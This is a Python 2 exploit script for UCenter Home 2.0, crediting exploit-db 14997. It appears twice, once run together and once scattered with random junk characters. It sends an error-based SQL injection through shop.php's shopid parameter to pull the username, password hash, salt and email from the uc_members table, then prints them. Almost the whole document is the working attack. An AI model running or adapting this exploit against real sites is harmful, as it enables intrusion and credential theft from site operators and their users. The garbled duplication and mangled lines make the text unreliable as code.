#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl1 @) B! v* M* _2 K' t% i+ z
. Y' {5 S+ P$ Z0 U$ g
0 y) R6 |! J. L0 X+ Q/ E#!/usr/bin/env python V, j1 G& m" Q' G
. d/ x0 i/ b6 Z9 ^9 c
import sys
; Z7 V6 b; P' y. A4 V# f, u; `/ gimport urllib2
. g# [& Q `2 b7 w2 @( s3 U3 x N+ nimport re
e- W1 ]% ]! H) D * u9 h" H% H: t, z. g! }
def info(): - p% ]$ ^6 s$ D n
print 'From:http://www.exploit-db.com/exploits/14997/'
5 p" ^8 Y( o9 [+ ?, Y d print 'http://www.hake.cc/Web_loudong/'
% M7 b( b& Z* _ print 'changed:qiaoy'
/ k: E. f1 E; T8 I print 'exp:'
4 z( n/ i0 O' C; W- u! A print ' ./UCenter_Home_2.0.py site'
r, P j/ x# w- ?+ ? # G1 a' H# B* ]8 a ` r3 D R
def main():
1 ]+ u% Q2 r* [. O) W2 O- S# A: I if len(sys.argv) != 2:
: O" L8 ?8 T' i! C info()
+ V' ~, Q) G3 z) Q else: ' s. C/ a0 l/ U7 T$ T" ~' t; r
site = sys.argv[1]
7 @6 s4 [- \ P- Q( D if site[0:7] == 'http://':
0 b/ U! D: B+ b( y; D) [+ E- U$ B8 e sitesite =site
$ ^8 k& Z4 _" O6 k+ y9 h elif site[0:8] == 'https://':
8 |. d6 x) E& R5 [9 }: i. U# Y/ D sitesite = site 8 I1 M- F& p4 A b* t1 { g
else: & N9 `! f& Y( N: ~
site = 'http://'+site , ]% W, B- V5 D5 G" t6 u
try: 8 g4 J! m( s5 r" n) F" d+ P* P
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
( |) d `" b/ W1 s t Value = urllib2.urlopen(url).read()
' `, a2 c- N5 T Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
% p7 ^# S/ H- D, @, Q6 v" f hacked = Msg.split(':')
* U! w3 S p4 X/ t# s" g8 t print 'Name: '+hacked[1] " P s( _# _9 @4 |% c& v
print 'Passwd: '+hacked[2] 2 j7 P6 z: G/ F; M' `
print 'salt: '+hacked[3]
+ s. o3 w: W# m' N- |. c print 'email: '+hacked[4]
0 M. D: H# t# O) j( Q except:
9 H4 \ n. r a E5 Z print 'Sorry,I can\'t work............' . N( n4 H: k+ k. v
$ M3 e& y+ V* |8 ~/ f
if __name__ == '__main__':
$ J; q1 u9 J5 w main() |